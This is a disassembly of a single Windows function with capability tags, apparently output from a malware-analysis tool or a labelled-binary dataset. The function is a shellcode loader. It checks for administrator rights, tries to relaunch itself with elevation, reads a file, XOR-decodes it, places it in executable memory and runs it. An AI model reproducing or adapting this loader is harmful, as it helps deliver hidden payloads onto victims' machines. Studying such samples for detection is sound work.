Function at 0x140001670
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get token membership
Read file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0xf8]
sub rsp, 0x1f8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov word [rbp + 0x11c], 0x500
lea rax, [rbp + 0x120]
mov dword [rbp + 0x110], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x118]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp + 0x118], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000172c
mov rdx, qword [rbp + 0x120]
lea r8, [rbp + 0x110]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp + 0x110]
test eax, eax
cmove ecx, ebx
mov dword [rbp + 0x110], ecx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x110], ebx
jne 0x14000179f
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000179f
xor edx, edx
mov dword [rsp + 0x60], 0x70
lea rcx, [rsp + 0x64]
lea r8d, [rdx + 0x6c]
call fcn.140003780
lea rax, [0x14001a4c0]
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x60]
lea rax, [rbp - 0x30]
mov dword [rbp - 0x70], 1
mov qword [rsp + 0x78], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001962
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x140001962
lea rcx, [0x14001a50c]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400017ef
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [0x14001a50c]
xor ecx, ecx
lea rdx, [0x1416f79a0]
call qword [0x1416fca10]
test eax, eax
jns 0x1400017ef
mov rcx, qword [0x1416fca08]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add rsp, 0x1f8
pop rbx
pop rbp
ret
mov ecx, 0x1f4
mov qword [rsp + 0x1e8], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001a4c8]
lea rcx, [0x14001a50c]
call fcn.140006298
mov rdi, rax
test rax, rax
jne 0x14000182f
mov rcx, qword [0x1416fca08]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x14000194b
xor edx, edx
mov qword [rsp + 0x1f0], rsi
mov rcx, rdi
mov qword [rsp + 0x1e0], r14
lea r8d, [rdx + 2]
call fcn.140006594
mov rcx, rdi
call fcn.1400061d4
xor r8d, r8d
movsxd rsi, eax
xor edx, edx
mov rcx, rdi
call fcn.140006594
mov rcx, rsi
call fcn.140006be0
mov r14, rax
test rax, rax
jne 0x140001882
mov rcx, rdi
call fcn.140006328
jmp 0x14000192e
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000686c
mov rcx, rdi
call fcn.140006328
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
je 0x1400018f1
movabs r8, 0x2492492492492493
lea r9, [0x14001a518]
nop
mov rax, r8
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14], al
inc rbx
cmp rbx, rsi
jb 0x1400018c0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.1400055d0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.1400065c8
mov rcx, qword [0x1416fca08]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x1f0]
mov r14, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1e8]
mov eax, 1
add rsp, 0x1f8
pop rbx
pop rbp
ret
xor ecx, ecx
call fcn.140005cd4
int3